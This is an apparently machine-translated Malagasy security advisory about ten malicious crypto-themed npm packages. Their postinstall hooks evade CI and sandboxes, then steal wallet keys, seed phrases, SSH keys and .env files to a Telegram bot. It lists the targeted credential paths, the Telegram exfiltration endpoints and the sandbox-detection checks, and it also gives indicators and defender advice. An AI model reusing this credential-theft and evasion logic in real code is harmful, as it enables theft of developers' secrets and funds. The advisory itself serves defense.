TL, DR
Tamin'ny 9 Jona 2026, kaonty mpamoaka npm tokana no nampiasaina, aicrypto-xzggg, nalefa fonosana folo miaraka amin'ny anarana misy tsiron-crypto sy Web3 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, ary enina hafa.
Ny fonosana tsirairay dia mampiasa entana mitovy avy amin'ny postinstall hook. Rehefa apetraka dia manamarina raha miasa ao anatin'ny CI na sandbox izy io — raha tsy izany dia mamaky ny wallet keystores, ny rakitra seed-phrase, ny SSH keys, ary .env rakitra avy amin'ny tontolo iainana blockchain enina ary mandefa azy ireo any amin'ny bot Telegram.
Ny famantarana tokana azon'ny mpiaro iray tadiavina avy hatrany dia ny ID bot Telegram. 8227918239.
Hamafiny: manakiana — halatra mivantana ny fanalahidy sonia sy ny fehezanteny famerenana amin'ny laoniny avy amin'ny toeram-piasana mpamorona.
Ny Fanafihana: Ny Fomba Fiasany
Ireo fonosana ireo dia manao dokambarotra ho toy ny fitaovana ilaina ho an'ny mpamorona blockchain. package.json dia kely indrindra ary manondro ny tsingerin'ny fametrahana amin'ny script:
{
"name": "farming-tools-12",
"main": "src/index.js",
"scripts": { "postinstall": "node scripts/postinstall.js" },
"keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"],
"author": "Alex Smith",
"license": "MIT"
}scripts/postinstall.js dia shim andalana iray izay mampiditra ny entana tena izy: mitaky(“../src/index.js”). satria aorian'ny fametrahana miasa ho azy mandritra ny npm install, tsy ilaina ny fanafarana kaody avy amin'ny mpamorona - ny fametrahana ny fonosana ao anaty hazo fiankinan-doha dia ampy hanatanterahana azy.
Ny rojo famonoana ao anatiny src/index.js dingana efatra:
- Fanamarinana ny tontolo iainana. Ny fiasa mpiambina no mamaritra raha toa ka mitovy amin'ny build agent na analysis sandbox ny endriky ny mpampiantrano.
- Fanemorana. Ahemotra aorian'ny a setTimeout eo amin'ny 7.4 segondra eo ho eo.
- Fanangonana. Lisitra raikitra misy ny poketra, lakile ary lalan'ny rakitra miafina no arahina; ireo rakitra efa misy dia apetraka amin'ny filaharana.
- Fidiran'ny rano avy amin'ny vatana. Alefa any amin'ny bot Telegram ireo rakitra efa milahatra, ary ialohavan'ny hafatra famintinana.
Mizara ho rojo enina miampy tsiambaratelon'ny mpamorona ankapobeny ny lisitry ny lasibatra fanangonana.
~/.config/solana/id.json ~/.ethereum/keystore
~/.solana/keypair.json ~/.bitcoin/wallet.dat
~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore
~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519
./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt
./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.localLalana iraika amby roapolo amin'ny fitambarany. Fidirana amin'ny lahatahiry toy ny ~/.ethereum/fivarotana fanalahidy mivelatra ary apetraka ao anaty filaharana ny rakitra rehetra ao anatiny. Mampiasa mivantana ny Telegram Bot API ny exfiltration — a mandefa Hafatra miantsoa miaraka amin'ny mpampiantrano sy famintinana rakitra, avy eo mandefa Antontan-taratasy Fampidirana ampahany maro ho an'ny rakitra tsirairay:
lahatsoratra
POST https://api.telegram.org/bot<token>/sendMessage
POST https://api.telegram.org/bot<token>/sendDocument (one per file)Ny hafatra famintinana izay angonin'ny kaody dia manomboka amin'ny tady ara-bakiteny MPANGALATRA CRYPTO, arahin'ny anaran'ny mpampiantrano, ny anarana mpampiasa, ny anaran'ny fonosana niaviana, ny isan'ny rakitra, ary ny mari-potoana.
Inona no vaovao eto?
Tsy ny fomba fangalarana no mampiavaka azy — exfil miorina amin'ny Telegram avy amin'ny npm aorian'ny fametrahana hooks dia voahitsakitsaka tsara. Izany no vavahadin'ny famonoana. Alohan'ny hanaovana na inona na inona, ny payload dia miantso asa izay miverina marina rehefa mitovy amin'ny CI runner na sandbox ny host, ary miverina aloha rehefa manao izany izy:
lahatsoratra
isTestEnvironment() is true when ANY of:
- env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set
- env NODE_ENV in {test, development}
- username/USER contains: runner, sandbox, test, docker,
jenkins, gitlab, travis, circleci
- hostname contains: sandbox, test, ci
- hostname matches /^[a-f0-9]{12}$/ (a container-id shape)Ny regex container-id no fehezanteny manan-danja: ny anaran-tranonkala misy tarehintsoratra 12-hex dia ny endrika mahazatra ampiasain'ny Docker amin'ny fitoeran-javatra, ka ny payload dia mihevitra ny hoe "toa ny anaran'ny mpampiantrano ahy toy ny fitoeran-javatra Docker" ho antony hijanonana tsy miasa. Miaraka amin'ny fahatarana fito segondra, ny endrika dia mankasitraka ny fampandehanana amin'ny toeram-piasana tena izy an'ny mpamorona ary mijanona ho mangina na aiza na aiza izay toa fanadihadiana mandeha ho azy. Io vavahady io no nanakana ny famantarana fanadihadiana dinamika ary nitazona ny fikorianan'ny exfil static ho porofo voalohany amin'ny fanamelohana.
Timeline
Nipoitra tao anatin'ny fitopolo minitra teo ho eo avokoa ireo folo ireo, araka ny famoahana tokana nosoratana avy amin'ny kaonty iray.
Famantarana ny fifanarahana
Tondro momba ny tambajotra sy ny fitondran-tena (mpampiantrano tsy voavaha):
Fonosana sy dikan-teny, samy manana ny SHA-256-ny src/index.js payload (mitovy ny fiasan'ny payloads ary ny marika anaran'ny fonosana tafiditra ihany no tsy mitovy, ka samy hafa ny hash tsirairay):
Fanontaniana fikarohana tsotra: karohy ao amin'ny log fametrahana sy ny rakitra hidin-trano ny iray amin'ireo anarana folo, ary karohy ny fifandraisana amin'ny Telegram Bot API avy amin'ny mpampiantrano mpamorona na mpamorona izay tsy mampiasa azy io amin'ny fomba hafa.
Fitondran-tena voamarika sy ny fanomezan-toky
Kaonty iray no namoaka ireo fonosana folo rehetra, aicrypto-xzggg, izay ny mailaka voalaza dia vipsyria88@gmail[.]comSamy tsy voamarina ao amin'ny metadata-n'ny rejisitra na ny mailaka na ny rohy fanaraha-maso loharano, ary manana isa ratsy dia ratsy ny lazan'ny kaonty. Tsy mbola nohamafisinay hoe iza no mitantana ny kaonty.
Misy antsipiriany roa mendrika ny sarahina amin'ny filazana ny maha-izy azy. Voalohany, ny package.json mpanoratra famakiana eny an-kianja Alex Smith amin'ny fonosana tsirairay, raha toa kosa ny kaonty famoahana tena izy dia aicrypto-xzggg; ny saha mpanoratra dia metadata nambaran'ny tenany ary tsy manamarina ny maha-mpanoratra azy. Faharoa, miovaova be ny laharan'ny dikan-teny — ny mpikambana sasany dia mipetraka amin'ny 1.0.0, ny hafa ao amin'ny 4.68.54 — izay mifanaraka amin'ny fampiasana indray entana tokana manerana ny anaran'ny fonosana vao noforonina fa tsy ny fitazonana ny tantaran'ny famoahana tena izy.
Mitovy ny fihetsika manerana ny vondrona: mitovy ny lisitry ny lalan'ny lasibatra, mitovy ny id bot sy chat Telegram, mitovy ny vavahadin'ny tontolo iainana, mitovy ny MPANGALATRA CRYPTO marika. Io fitoviana io no rohy matanjaka indrindra eo amin'ireo fonosana. Famantarana iray ihany io, fa tsy maha-izy azy.
Fiantraikany, fironana ary torolàlana ho an'ny mpiaro
Azo tsapain-tanana ny zava-misy. Ny mpamorona rindrambaiko izay mametraka ireo fonosana ireo ao amin'ny toeram-piasana izay misy "software wallet", rakitra "seed-phrase", na lakile SSH dia mamaky sy mandefa ireo rakitra ireo avy amin'ny mpampiantrano ao anatin'ny segondra vitsy. Ny "recovery phrase" sy ny lakile sonia dia tsy lany daty toy ny "session token"; raha vao misy... mnemonic.txt na Solana id.json miala ny milina, dia tandindonin-doza ny vola feheziny mandra-pamindra azy ireo. Misambotra ihany koa io dingana io .env rakitra, izay tsy tapaka mitondra ny lakilen'ny API sy ny fahazoan-dàlana amin'ny angon-drakitra.
Misy fironana roa ao ambadik'ity vondrona ity. Ny voalohany dia ny fampiasana hatrany ny anarana crypto- sy Web3 mba hisarihana mpihaino manokana - ireo mpamorona rindrambaiko izay mitazona "wallet" sy fanalahidy amin'ny milina iray ihany izay ametrahany ny fiankinan-doha. Ny faharoa dia ny fahamatoran'ny "sandbox evasion" amin'ny "loadloads" mandritra ny fametrahana. Ny vavahady izay manamarina ny fiovaovan'ny tontolo iainana CI, ny anaran'ny mpampiasa, ary ny endriky ny anaran'ny "hostname" Docker container-id dia ezaka niniana natao mba hitondra tena amin'ny fomba hafa eo ambany fanadihadiana raha oharina amin'ny toeram-piasana tena izy, ary mampiakatra ny fenitra ho an'ny fitadiavana dinamika madiodio.
Ho an'ny mpiaro:
Apetraho miaraka amin'ny script izay tsy mandeha amin'ny laoniny. npm fametrahana --tsy miraharaha-scripts, na napetraka tsy miraharaha-scripts=marina in .npmrc, manakana aorian'ny fametrahana fanatanterahana; avelao ny script ho an'ireo fiankinan-doha manokana izay tena mila azy ireo ihany.
Arovy amin'ny milina fanamboarana sy fampivoarana ny poketra sy ny lakilen'ny sonia. Mampiasà poketra fitaovana na mpampiantrano sonia natokana ho an'ny fitaovana.
hitondra .env, keystores, ary rakitra seed-phrase ho toy ny vatosoa sarobidy. Tsy tokony hipetraka ao anaty lahatahiry izay sady npm install hazo miasa.
Mitadiava fifandraisana mivoaka mankany amin'ny Telegram Bot API avy amin'ny CI sy ireo mpampiantrano mpamorona. Ny ankamaroan'ny tontolo fanamboarana dia tsy miantso azy mihitsy; izay miantso azy tampoka, avy hatrany aorian'ny fametrahana, dia mendrika hojerena.
Asio "pin" ary avereno jerena ny fiankinan-doha. Fonosana vaovao misy anarana crypto ankapobeny, a aorian'ny fametrahana hook, ary tsy misy rohy fitehirizana mendrika hojerena alohan'ny hidirany ao amin'ny lockfile.
Ny fehezan-dalàna momba ny evasion container-id dia fampahatsiahivana ho an'ny mpandinika ihany koa: ny entana mandritra ny fametrahana izay mijanona ao anaty fasika dia tsy tsara, fa voafantina. Ny famerenana tsy miovaova ny lalan'ny fametrahana no fomba azo itokisana hahitana izay mety tsy hiseho amin'ny fampiharana dinamika.
References
antontan-taratasy fametrahana npm — script momba ny tsingerin'ny fiainana sy – tsinontsinona-scripts— referansa ho an'ny fanafoanana ny fametrahana mandeha ho azy hooks.
